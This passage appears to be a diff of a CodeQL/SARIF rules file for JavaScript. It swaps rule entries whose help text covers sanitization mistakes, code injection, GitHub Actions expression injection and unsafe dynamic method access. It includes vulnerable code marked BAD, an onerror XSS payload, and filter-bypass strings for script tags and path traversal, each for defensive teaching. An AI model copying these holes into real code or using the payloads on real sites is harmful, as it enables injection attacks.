-            "markdown" : "# Incomplete string escaping or encoding\nSanitizing untrusted input is a common technique for preventing injection attacks such as SQL injection or cross-site scripting. Usually, this is done by escaping meta-characters such as quotes in a domain-specific way so that they are treated as normal characters.\n\nHowever, directly using the string `replace` method to perform escaping is notoriously error-prone. Common mistakes include only replacing the first occurrence of a meta-character, or backslash-escaping various meta-characters but not the backslash itself.\n\nIn the former case, later meta-characters are left undisturbed and can be used to subvert the sanitization. In the latter case, preceding a meta-character with a backslash leads to the backslash being escaped, but the meta-character appearing un-escaped, which again makes the sanitization ineffective.\n\nEven if the escaped string is not used in a security-critical context, incomplete escaping may still have undesirable effects, such as badly rendered or confusing output.\n\n\n## Recommendation\nUse a (well-tested) sanitization library if at all possible. These libraries are much more likely to handle corner cases correctly than a custom implementation.\n\nAn even safer alternative is to design the application so that sanitization is not needed, for instance by using prepared statements for SQL queries.\n\nOtherwise, make sure to use a regular expression with the `g` flag to ensure that all occurrences are replaced, and remember to escape backslashes if applicable.\n\n\n## Example\nFor example, assume that we want to embed a user-controlled string `accountNumber` into a SQL query as part of a string literal. To avoid SQL injection, we need to ensure that the string does not contain un-escaped single-quote characters. The following function attempts to ensure this by doubling single quotes, and thereby escaping them:\n\n\n```javascript\nfunction escapeQuotes(s) {\n  return s.replace(\"'\", \"''\");\n}\n\n```\nAs written, this sanitizer is ineffective: if the first argument to `replace` is a string literal (as in this case), only the *first* occurrence of that string is replaced.\n\nAs mentioned above, the function `escapeQuotes` should be replaced with a purpose-built sanitization library, such as the npm module `sqlstring`. Many other sanitization libraries are available from npm and other sources.\n\nIf this is not an option, `escapeQuotes` should be rewritten to use a regular expression with the `g` (\"global\") flag instead:\n\n\n```javascript\nfunction escapeQuotes(s) {\n  return s.replace(/'/g, \"''\");\n}\n\n```\nNote that it is very important to include the global flag: `s.replace(/'/, \"''\")` *without* the global flag is equivalent to the first example above and only replaces the first quote.\n\n\n## References\n* OWASP Top 10: [A1 Injection](https://www.owasp.org/index.php/Top_10-2017_A1-Injection).\n* npm: [sqlstring](https://www.npmjs.com/package/sqlstring) package.\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-80](https://cwe.mitre.org/data/definitions/80.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n"
+            "text" : "# Improper code sanitization\nUsing string concatenation to construct JavaScript code can be error-prone, or in the worst case, enable code injection if an input is constructed by an attacker.\n\n\n## Recommendation\nIf using `JSON.stringify` or an HTML sanitizer to sanitize a string inserted into JavaScript code, then make sure to perform additional sanitization or remove potentially dangerous characters.\n\n\n## Example\nThe example below constructs a function that assigns the number 42 to the property `key` on an object `obj`. However, if `key` contains `</script>`, then the generated code will break out of a `</script>` if inserted into a `</script>` tag.\n\n\n```javascript\nfunction createObjectWrite() {\n    const assignment = `obj[${JSON.stringify(key)}]=42`;\n    return `(function(){${assignment}})` // NOT OK\n}\n```\nThe issue has been fixed by escaping potentially dangerous characters, as shown below.\n\n\n```javascript\nconst charMap = {\n    '<': '\\\\u003C',\n    '>' : '\\\\u003E',\n    '/': '\\\\u002F',\n    '\\\\': '\\\\\\\\',\n    '\\b': '\\\\b',\n    '\\f': '\\\\f',\n    '\\n': '\\\\n',\n    '\\r': '\\\\r',\n    '\\t': '\\\\t',\n    '\\0': '\\\\0',\n    '\\u2028': '\\\\u2028',\n    '\\u2029': '\\\\u2029'\n};\n\nfunction escapeUnsafeChars(str) {\n    return str.replace(/[<>\\b\\f\\n\\r\\t\\0\\u2028\\u2029]/g, x => charMap[x])\n}\n\nfunction createObjectWrite() {\n    const assignment = `obj[${escapeUnsafeChars(JSON.stringify(key))}]=42`;\n    return `(function(){${assignment}})` // OK\n}\n```\n\n## References\n* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n",
+            "markdown" : "# Improper code sanitization\nUsing string concatenation to construct JavaScript code can be error-prone, or in the worst case, enable code injection if an input is constructed by an attacker.\n\n\n## Recommendation\nIf using `JSON.stringify` or an HTML sanitizer to sanitize a string inserted into JavaScript code, then make sure to perform additional sanitization or remove potentially dangerous characters.\n\n\n## Example\nThe example below constructs a function that assigns the number 42 to the property `key` on an object `obj`. However, if `key` contains `</script>`, then the generated code will break out of a `</script>` if inserted into a `</script>` tag.\n\n\n```javascript\nfunction createObjectWrite() {\n    const assignment = `obj[${JSON.stringify(key)}]=42`;\n    return `(function(){${assignment}})` // NOT OK\n}\n```\nThe issue has been fixed by escaping potentially dangerous characters, as shown below.\n\n\n```javascript\nconst charMap = {\n    '<': '\\\\u003C',\n    '>' : '\\\\u003E',\n    '/': '\\\\u002F',\n    '\\\\': '\\\\\\\\',\n    '\\b': '\\\\b',\n    '\\f': '\\\\f',\n    '\\n': '\\\\n',\n    '\\r': '\\\\r',\n    '\\t': '\\\\t',\n    '\\0': '\\\\0',\n    '\\u2028': '\\\\u2028',\n    '\\u2029': '\\\\u2029'\n};\n\nfunction escapeUnsafeChars(str) {\n    return str.replace(/[<>\\b\\f\\n\\r\\t\\0\\u2028\\u2029]/g, x => charMap[x])\n}\n\nfunction createObjectWrite() {\n    const assignment = `obj[${escapeUnsafeChars(JSON.stringify(key))}]=42`;\n    return `(function(){${assignment}})` // OK\n}\n```\n\n## References\n* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n"
           },
           "properties" : {
-            "tags" : [ "correctness", "security", "external/cwe/cwe-020", "external/cwe/cwe-080", "external/cwe/cwe-116" ],
-            "description" : "A string transformer that does not replace or escape all occurrences of a\n              meta-character may be ineffective.",
-            "id" : "js/incomplete-sanitization",
-            "kind" : "problem",
-            "name" : "Incomplete string escaping or encoding",
+            "tags" : [ "security", "external/cwe/cwe-094", "external/cwe/cwe-079", "external/cwe/cwe-116" ],
+            "description" : "Escaping code as HTML does not provide protection against code injection.",
+            "id" : "js/bad-code-sanitization",
+            "kind" : "path-problem",
+            "name" : "Improper code sanitization",
             "precision" : "high",
-            "problem.severity" : "warning",
-            "security-severity" : "7.8"
+            "problem.severity" : "error",
+            "security-severity" : "6.1"
           }
         }, {
-          "id" : "js/unsafe-html-expansion",
-          "name" : "js/unsafe-html-expansion",
+          "id" : "js/actions/command-injection",
+          "name" : "js/actions/command-injection",
           "shortDescription" : {
-            "text" : "Unsafe expansion of self-closing HTML tag"
+            "text" : "Expression injection in Actions"
           },
           "fullDescription" : {
-            "text" : "Using regular expressions to expand self-closing HTML tags may lead to cross-site scripting vulnerabilities."
+            "text" : "Using user-controlled GitHub Actions contexts like `run:` or `script:` may allow a malicious user to inject code into the GitHub action."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "warning"
           },
           "help" : {
-            "text" : "# Unsafe expansion of self-closing HTML tag\nSanitizing untrusted input for HTML meta-characters is a common technique for preventing cross-site scripting attacks. But even a sanitized input can be dangerous to use if it is modified further before a browser treats it as HTML. A seemingly innocent transformation that expands a self-closing HTML tag from `<div attr=\"{sanitized}\"/>` to `<div attr=\"{sanitized}\"></div>` may in fact cause cross-site scripting vulnerabilities.\n\n\n## Recommendation\nUse a well-tested sanitization library if at all possible, and avoid modifying sanitized values further before treating them as HTML.\n\nAn even safer alternative is to design the application so that sanitization is not needed, for instance by using HTML templates that are explicit about the values they treat as HTML.\n\n\n## Example\nThe following function transforms a self-closing HTML tag to a pair of open/close tags. It does so for all non-`img` and non-`area` tags, by using a regular expression with two capture groups. The first capture group corresponds to the name of the tag, and the second capture group to the content of the tag.\n\n\n```javascript\nfunction expandSelfClosingTags(html) {\n\tvar rxhtmlTag = /<(?!img|area)(([a-z][^\\w\\/>]*)[^>]*)\\/>/gi;\n\treturn html.replace(rxhtmlTag, \"<$1></$2>\"); // BAD\n}\n\n```\nWhile it is generally known regular expressions are ill-suited for parsing HTML, variants of this particular transformation pattern have long been considered safe.\n\nHowever, the function is not safe. As an example, consider the following string:\n\n\n```html\n<div alt=\"\n<x\" title=\"/>\n<img src=url404 onerror=alert(1)>\"/>\n\n```\nWhen the above function transforms the string, it becomes a string that results in an alert when a browser treats it as HTML.\n\n\n```html\n<div alt=\"\n<x\" title=\"></x\" >\n<img src=url404 onerror=alert(1)>\"/>\n\n```\n\n## References\n* jQuery: [Security fixes in jQuery 3.5.0](https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/)\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [Types of Cross-Site](https://owasp.org/www-community/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n",
-            "markdown" : "# Unsafe expansion of self-closing HTML tag\nSanitizing untrusted input for HTML meta-characters is a common technique for preventing cross-site scripting attacks. But even a sanitized input can be dangerous to use if it is modified further before a browser treats it as HTML. A seemingly innocent transformation that expands a self-closing HTML tag from `<div attr=\"{sanitized}\"/>` to `<div attr=\"{sanitized}\"></div>` may in fact cause cross-site scripting vulnerabilities.\n\n\n## Recommendation\nUse a well-tested sanitization library if at all possible, and avoid modifying sanitized values further before treating them as HTML.\n\nAn even safer alternative is to design the application so that sanitization is not needed, for instance by using HTML templates that are explicit about the values they treat as HTML.\n\n\n## Example\nThe following function transforms a self-closing HTML tag to a pair of open/close tags. It does so for all non-`img` and non-`area` tags, by using a regular expression with two capture groups. The first capture group corresponds to the name of the tag, and the second capture group to the content of the tag.\n\n\n```javascript\nfunction expandSelfClosingTags(html) {\n\tvar rxhtmlTag = /<(?!img|area)(([a-z][^\\w\\/>]*)[^>]*)\\/>/gi;\n\treturn html.replace(rxhtmlTag, \"<$1></$2>\"); // BAD\n}\n\n```\nWhile it is generally known regular expressions are ill-suited for parsing HTML, variants of this particular transformation pattern have long been considered safe.\n\nHowever, the function is not safe. As an example, consider the following string:\n\n\n```html\n<div alt=\"\n<x\" title=\"/>\n<img src=url404 onerror=alert(1)>\"/>\n\n```\nWhen the above function transforms the string, it becomes a string that results in an alert when a browser treats it as HTML.\n\n\n```html\n<div alt=\"\n<x\" title=\"></x\" >\n<img src=url404 onerror=alert(1)>\"/>\n\n```\n\n## References\n* jQuery: [Security fixes in jQuery 3.5.0](https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/)\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [Types of Cross-Site](https://owasp.org/www-community/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n"
+            "text" : "# Expression injection in Actions\nUsing user-controlled input in GitHub Actions may lead to code injection in contexts like *run:* or *script:*.\n\nCode injection in GitHub Actions may allow an attacker to exfiltrate any secrets used in the workflow and the temporary GitHub repository authorization token. The token might have write access to the repository, allowing an attacker to use the token to make changes to the repository.\n\n\n## Recommendation\nThe best practice to avoid code injection vulnerabilities in GitHub workflows is to set the untrusted input value of the expression to an intermediate environment variable and then use the environment variable using the native syntax of the shell/script interpreter (that is, not *${{ env.VAR }}*).\n\nIt is also recommended to limit the permissions of any tokens used by a workflow such as the GITHUB_TOKEN.\n\n\n## Example\nThe following example lets a user inject an arbitrary shell command:\n\n\n```yaml\non: issue_comment\n\njobs:\n  echo-body:\n    runs-on: ubuntu-latest\n    steps:\n    - run: |\n        echo '${{ github.event.comment.body }}'\n```\nThe following example uses an environment variable, but **still allows the injection** because of the use of expression syntax:\n\n\n```yaml\non: issue_comment\n\njobs:\n  echo-body:\n    runs-on: ubuntu-latest\n    steps:\n    -  env:\n        BODY: ${{ github.event.issue.body }}\n      run: |\n        echo '${{ env.BODY }}'\n```\nThe following example uses shell syntax to read the environment variable and will prevent the attack:\n\n\n```yaml\non: issue_comment\n\njobs:\n  echo-body:\n    runs-on: ubuntu-latest\n    steps:\n    - env:\n        BODY: ${{ github.event.issue.body }}\n      run: |\n        echo \"$BODY\"\n\n```\n\n## References\n* GitHub Security Lab Research: [Keeping your GitHub Actions and workflows secure: Untrusted input](https://securitylab.github.com/research/github-actions-untrusted-input).\n* GitHub Docs: [Security hardening for GitHub Actions](https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions).\n* GitHub Docs: [Permissions for the GITHUB_TOKEN](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n",
+            "markdown" : "# Expression injection in Actions\nUsing user-controlled input in GitHub Actions may lead to code injection in contexts like *run:* or *script:*.\n\nCode injection in GitHub Actions may allow an attacker to exfiltrate any secrets used in the workflow and the temporary GitHub repository authorization token. The token might have write access to the repository, allowing an attacker to use the token to make changes to the repository.\n\n\n## Recommendation\nThe best practice to avoid code injection vulnerabilities in GitHub workflows is to set the untrusted input value of the expression to an intermediate environment variable and then use the environment variable using the native syntax of the shell/script interpreter (that is, not *${{ env.VAR }}*).\n\nIt is also recommended to limit the permissions of any tokens used by a workflow such as the GITHUB_TOKEN.\n\n\n## Example\nThe following example lets a user inject an arbitrary shell command:\n\n\n```yaml\non: issue_comment\n\njobs:\n  echo-body:\n    runs-on: ubuntu-latest\n    steps:\n    - run: |\n        echo '${{ github.event.comment.body }}'\n```\nThe following example uses an environment variable, but **still allows the injection** because of the use of expression syntax:\n\n\n```yaml\non: issue_comment\n\njobs:\n  echo-body:\n    runs-on: ubuntu-latest\n    steps:\n    -  env:\n        BODY: ${{ github.event.issue.body }}\n      run: |\n        echo '${{ env.BODY }}'\n```\nThe following example uses shell syntax to read the environment variable and will prevent the attack:\n\n\n```yaml\non: issue_comment\n\njobs:\n  echo-body:\n    runs-on: ubuntu-latest\n    steps:\n    - env:\n        BODY: ${{ github.event.issue.body }}\n      run: |\n        echo \"$BODY\"\n\n```\n\n## References\n* GitHub Security Lab Research: [Keeping your GitHub Actions and workflows secure: Untrusted input](https://securitylab.github.com/research/github-actions-untrusted-input).\n* GitHub Docs: [Security hardening for GitHub Actions](https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions).\n* GitHub Docs: [Permissions for the GITHUB_TOKEN](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n"
           },
           "properties" : {
-            "tags" : [ "correctness", "security", "external/cwe/cwe-079", "external/cwe/cwe-116" ],
-            "description" : "Using regular expressions to expand self-closing HTML\n              tags may lead to cross-site scripting vulnerabilities.",
-            "id" : "js/unsafe-html-expansion",
+            "tags" : [ "actions", "security", "external/cwe/cwe-094" ],
+            "description" : "Using user-controlled GitHub Actions contexts like `run:` or `script:` may allow a malicious\n              user to inject code into the GitHub action.",
+            "id" : "js/actions/command-injection",
             "kind" : "problem",
-            "name" : "Unsafe expansion of self-closing HTML tag",
-            "precision" : "very-high",
+            "name" : "Expression injection in Actions",
+            "precision" : "high",
             "problem.severity" : "warning",
-            "security-severity" : "6.1"
+            "security-severity" : "9.3"
           }
         }, {
-          "id" : "js/incomplete-multi-character-sanitization",
-          "name" : "js/incomplete-multi-character-sanitization",
+          "id" : "js/unsafe-dynamic-method-access",
+          "name" : "js/unsafe-dynamic-method-access",
           "shortDescription" : {
-            "text" : "Incomplete multi-character sanitization"
+            "text" : "Unsafe dynamic method access"
           },
           "fullDescription" : {
-            "text" : "A sanitizer that removes a sequence of characters may reintroduce the dangerous sequence."
+            "text" : "Invoking user-controlled methods on certain objects can lead to remote code execution."
           },
           "defaultConfiguration" : {
             "enabled" : true,
-            "level" : "warning"
+            "level" : "error"
           },
           "help" : {
-            "text" : "# Incomplete multi-character sanitization\nSanitizing untrusted input is a common technique for preventing injection attacks and other security vulnerabilities. Regular expressions are often used to perform this sanitization. However, when the regular expression matches multiple consecutive characters, replacing it just once can result in the unsafe text reappearing in the sanitized input.\n\nAttackers can exploit this issue by crafting inputs that, when sanitized with an ineffective regular expression, still contain malicious code or content. This can lead to code execution, data exposure, or other vulnerabilities.\n\n\n## Recommendation\nTo prevent this issue, it is highly recommended to use a well-tested sanitization library whenever possible. These libraries are more likely to handle corner cases and ensure effective sanitization.\n\nIf a library is not an option, you can consider alternative strategies to fix the issue. For example, applying the regular expression replacement repeatedly until no more replacements can be performed, or rewriting the regular expression to match single characters instead of the entire unsafe text.\n\n\n## Example\nConsider the following JavaScript code that aims to remove all HTML comment start and end tags:\n\n```javascript\n\nstr.replace(/<!--|--!?>/g, \"\");   \n\n```\nGiven the input string \"&lt;!&lt;!--- comment ---&gt;&gt;\", the output will be \"&lt;!-- comment --&gt;\", which still contains an HTML comment.\n\nOne possible fix for this issue is to apply the regular expression replacement repeatedly until no more replacements can be performed. This ensures that the unsafe text does not re-appear in the sanitized input, effectively removing all instances of the targeted pattern:\n\n```javascript\n\nfunction removeHtmlComments(input) {  \n  let previous;  \n  do {  \n    previous = input;  \n    input = input.replace(/<!--|--!?>/g, \"\");  \n  } while (input !== previous);  \n  return input;  \n}  \n\n```\n\n## Example\nAnother example is the following regular expression intended to remove script tags:\n\n```javascript\n\nstr.replace(/<script\\b[^<]*(?:(?!<\\/script>)<[^<]*)*<\\/script>/g, \"\");  \n\n```\nIf the input string is \"&lt;scrip&lt;script&gt;is removed&lt;/script&gt;t&gt;alert(123)&lt;/script&gt;\", the output will be \"&lt;script&gt;alert(123)&lt;/script&gt;\", which still contains a script tag.\n\nA fix for this issue is to rewrite the regular expression to match single characters (\"&lt;\" and \"&gt;\") instead of the entire unsafe text. This simplifies the sanitization process and ensures that all potentially unsafe characters are removed:\n\n```javascript\n\nfunction removeAllHtmlTags(input) {  \n  return input.replace(/<|>/g, \"\");  \n}\n\n```\nAnother potential fix is to use the popular `sanitize-html` npm library. It keeps most of the safe HTML tags while removing all unsafe tags and attributes.\n\n```javascript\n\nconst sanitizeHtml = require(\"sanitize-html\");\nfunction removeAllHtmlTags(input) {  \n  return sanitizeHtml(input);  \n}\n\n```\n\n## Example\nLastly, consider a path sanitizer using the regular expression `/\\.\\.\\//`:\n\n```javascript\n\nstr.replace(/\\.\\.\\//g, \"\");  \n\n```\nThe regular expression attempts to strip out all occurences of `/../` from `str`. This will not work as expected: for the string `/./.././`, for example, it will remove the single occurrence of `/../` in the middle, but the remainder of the string then becomes `/../`, which is another instance of the substring we were trying to remove.\n\nA possible fix for this issue is to use the \"sanitize-filename\" npm library for path sanitization. This library is specifically designed to handle path sanitization, and should handle all corner cases and ensure effective sanitization:\n\n```javascript\n\nconst sanitize = require(\"sanitize-filename\");  \n  \nfunction sanitizePath(input) {  \n  return sanitize(input);  \n}  \n\n```\n\n## References\n* OWASP Top 10: [A1 Injection](https://www.owasp.org/index.php/Top_10-2017_A1-Injection).\n* Stack Overflow: [Removing all script tags from HTML with JS regular expression](https://stackoverflow.com/questions/6659351/removing-all-script-tags-from-html-with-js-regular-expression).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-80](https://cwe.mitre.org/data/definitions/80.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n",
-            "markdown" : "# Incomplete multi-character sanitization\nSanitizing untrusted input is a common technique for preventing injection attacks and other security vulnerabilities. Regular expressions are often used to perform this sanitization. However, when the regular expression matches multiple consecutive characters, replacing it just once can result in the unsafe text reappearing in the sanitized input.\n\nAttackers can exploit this issue by crafting inputs that, when sanitized with an ineffective regular expression, still contain malicious code or content. This can lead to code execution, data exposure, or other vulnerabilities.\n\n\n## Recommendation\nTo prevent this issue, it is highly recommended to use a well-tested sanitization library whenever possible. These libraries are more likely to handle corner cases and ensure effective sanitization.\n\nIf a library is not an option, you can consider alternative strategies to fix the issue. For example, applying the regular expression replacement repeatedly until no more replacements can be performed, or rewriting the regular expression to match single characters instead of the entire unsafe text.\n\n\n## Example\nConsider the following JavaScript code that aims to remove all HTML comment start and end tags:\n\n```javascript\n\nstr.replace(/<!--|--!?>/g, \"\");   \n\n```\nGiven the input string \"&lt;!&lt;!--- comment ---&gt;&gt;\", the output will be \"&lt;!-- comment --&gt;\", which still contains an HTML comment.\n\nOne possible fix for this issue is to apply the regular expression replacement repeatedly until no more replacements can be performed. This ensures that the unsafe text does not re-appear in the sanitized input, effectively removing all instances of the targeted pattern:\n\n```javascript\n\nfunction removeHtmlComments(input) {  \n  let previous;  \n  do {  \n    previous = input;  \n    input = input.replace(/<!--|--!?>/g, \"\");  \n  } while (input !== previous);  \n  return input;  \n}  \n\n```\n\n## Example\nAnother example is the following regular expression intended to remove script tags:\n\n```javascript\n\nstr.replace(/<script\\b[^<]*(?:(?!<\\/script>)<[^<]*)*<\\/script>/g, \"\");  \n\n```\nIf the input string is \"&lt;scrip&lt;script&gt;is removed&lt;/script&gt;t&gt;alert(123)&lt;/script&gt;\", the output will be \"&lt;script&gt;alert(123)&lt;/script&gt;\", which still contains a script tag.\n\nA fix for this issue is to rewrite the regular expression to match single characters (\"&lt;\" and \"&gt;\") instead of the entire unsafe text. This simplifies the sanitization process and ensures that all potentially unsafe characters are removed:\n\n```javascript\n\nfunction removeAllHtmlTags(input) {  \n  return input.replace(/<|>/g, \"\");  \n}\n\n```\nAnother potential fix is to use the popular `sanitize-html` npm library. It keeps most of the safe HTML tags while removing all unsafe tags and attributes.\n\n```javascript\n\nconst sanitizeHtml = require(\"sanitize-html\");\nfunction removeAllHtmlTags(input) {  \n  return sanitizeHtml(input);  \n}\n\n```\n\n## Example\nLastly, consider a path sanitizer using the regular expression `/\\.\\.\\//`:\n\n```javascript\n\nstr.replace(/\\.\\.\\//g, \"\");  \n\n```\nThe regular expression attempts to strip out all occurences of `/../` from `str`. This will not work as expected: for the string `/./.././`, for example, it will remove the single occurrence of `/../` in the middle, but the remainder of the string then becomes `/../`, which is another instance of the substring we were trying to remove.\n\nA possible fix for this issue is to use the \"sanitize-filename\" npm library for path sanitization. This library is specifically designed to handle path sanitization, and should handle all corner cases and ensure effective sanitization:\n\n```javascript\n\nconst sanitize = require(\"sanitize-filename\");  \n  \nfunction sanitizePath(input) {  \n  return sanitize(input);  \n}  \n\n```\n\n## References\n* OWASP Top 10: [A1 Injection](https://www.owasp.org/index.php/Top_10-2017_A1-Injection).\n* Stack Overflow: [Removing all script tags from HTML with JS regular expression](https://stackoverflow.com/questions/6659351/removing-all-script-tags-from-html-with-js-regular-expression).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-80](https://cwe.mitre.org/data/definitions/80.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n"
+            "text" : "# Unsafe dynamic method access\nCalling a user-controlled method on certain objects can lead to invocation of unsafe functions, such as `eval` or the `Function` constructor. In particular, the global object contains the `eval` function, and any function object contains the `Function` constructor in its `constructor` property.\n\n\n## Recommendation\nAvoid invoking user-controlled methods on the global object or on any function object. Whitelist the permitted method names or change the type of object the methods are stored on.\n\n\n## Example\nIn the following example, a message from the document's parent frame can invoke the `play` or `pause` method. However, it can also invoke `eval`. A malicious website could embed the page in an iframe and execute arbitrary code by sending a message with the name `eval`.\n\n\n```javascript\n// API methods\nfunction play(data) {\n  // ...\n}\nfunction pause(data) {\n  // ...\n}\n\nwindow.addEventListener(\"message\", (ev) => {\n    let message = JSON.parse(ev.data);\n\n    // Let the parent frame call the 'play' or 'pause' function \n    window[message.name](message.payload);\n});\n\n```\nInstead of storing the API methods in the global scope, put them in an API object or Map. It is also good practice to prevent invocation of inherited methods like `toString` and `valueOf`.\n\n\n```javascript\n// API methods\nlet api = {\n  play: function(data) {\n    // ...\n  },\n  pause: function(data) {\n    // ...\n  }\n};\n\nwindow.addEventListener(\"message\", (ev) => {\n    let message = JSON.parse(ev.data);\n\n    // Let the parent frame call the 'play' or 'pause' function\n    if (!api.hasOwnProperty(message.name)) {\n      return;\n    }\n    api[message.name](message.payload);\n});\n\n```\n\n## References\n* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection).\n* MDN: [Global functions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects#Function_properties).\n* MDN: [Function constructor](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n",
+            "markdown" : "# Unsafe dynamic method access\nCalling a user-controlled method on certain objects can lead to invocation of unsafe functions, such as `eval` or the `Function` constructor. In particular, the global object contains the `eval` function, and any function object contains the `Function` constructor in its `constructor` property.\n\n\n## Recommendation\nAvoid invoking user-controlled methods on the global object or on any function object. Whitelist the permitted method names or change the type of object the methods are stored on.\n\n\n## Example\nIn the following example, a message from the document's parent frame can invoke the `play` or `pause` method. However, it can also invoke `eval`. A malicious website could embed the page in an iframe and execute arbitrary code by sending a message with the name `eval`.\n\n\n```javascript\n// API methods\nfunction play(data) {\n  // ...\n}\nfunction pause(data) {\n  // ...\n}\n\nwindow.addEventListener(\"message\", (ev) => {\n    let message = JSON.parse(ev.data);\n\n    // Let the parent frame call the 'play' or 'pause' function \n    window[message.name](message.payload);\n});\n\n```\nInstead of storing the API methods in the global scope, put them in an API object or Map. It is also good practice to prevent invocation of inherited methods like `toString` and `valueOf`.\n\n\n```javascript\n// API methods\nlet api = {\n  play: function(data) {\n    // ...\n  },\n  pause: function(data) {\n    // ...\n  }\n};\n\nwindow.addEventListener(\"message\", (ev) => {\n    let message = JSON.parse(ev.data);\n\n    // Let the parent frame call the 'play' or 'pause' function\n    if (!api.hasOwnProperty(message.name)) {\n      return;\n    }\n    api[message.name](message.payload);\n});\n\n```\n\n## References\n* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection).\n* MDN: [Global functions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects#Function_properties).\n* MDN: [Function constructor](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n"
           },
           "properties" : {
-            "tags" : [ "correctness", "security", "external/cwe/cwe-020", "external/cwe/cwe-080", "external/cwe/cwe-116" ],
-            "description" : "A sanitizer that removes a sequence of characters may reintroduce the dangerous sequence.",
-            "id" : "js/incomplete-multi-character-sanitization",
-            "kind" : "problem",
-            "name" : "Incomplete multi-character sanitization",
+            "tags" : [ "security", "external/cwe/cwe-094" ],
+            "description" : "Invoking user-controlled methods on certain objects can lead to remote code execution.",
+            "id" : "js/unsafe-dynamic-method-access",
+            "kind" : "path-problem",
+            "name" : "Unsafe dynamic method access",
             "precision" : "high",
-            "problem.severity" : "warning",
-            "security-severity" : "7.8"
+            "problem.severity" : "error",
+            "security-severity" : "9.3"
           }
         }, {
-          "id" : "js/double-escaping",
-          "name" : "js/double-escaping",
+          "id" : "js/code-injection",
+          "name" : "js/code-injection",
           "shortDescription" : {
-            "text" : "Double escaping or unescaping"
+            "text" : "Code injection"
           },
           "fullDescription" : {
-            "text" : "When escaping special characters using a meta-character like backslash or ampersand, the meta-character has to be escaped first to avoid double-escaping, and conversely it has to be unescaped last to avoid double-unescaping."
+            "text" : "Interpreting unsanitized user input as code allows a malicious user arbitrary code execution."
           },
           "defaultConfiguration" : {
             "enabled" : true,
-            "level" : "warning"
+            "level" : "error"
           },
           "help" : {
-            "text" : "# Double escaping or unescaping\nEscaping meta-characters in untrusted input is an important technique for preventing injection attacks such as cross-site scripting. One particular example of this is HTML entity encoding, where HTML special characters are replaced by HTML character entities to prevent them from being interpreted as HTML markup. For example, the less-than character is encoded as `&lt;` and the double-quote character as `&quot;`. Other examples include backslash-escaping for including untrusted data in string literals and percent-encoding for URI components.\n\nThe reverse process of replacing escape sequences with the characters they represent is known as unescaping.\n\nNote that the escape characters themselves (such as ampersand in the case of HTML encoding) play a special role during escaping and unescaping: they are themselves escaped, but also form part of the escaped representations of other characters. Hence care must be taken to avoid double escaping and unescaping: when escaping, the escape character must be escaped first, when unescaping it has to be unescaped last.\n\nIf used in the context of sanitization, double unescaping may render the sanitization ineffective. Even if it is not used in a security-critical context, it may still result in confusing or garbled output.\n\n\n## Recommendation\nUse a (well-tested) sanitization library if at all possible. These libraries are much more likely to handle corner cases correctly than a custom implementation. For URI encoding, you can use the standard `encodeURIComponent` and `decodeURIComponent` functions.\n\nOtherwise, make sure to always escape the 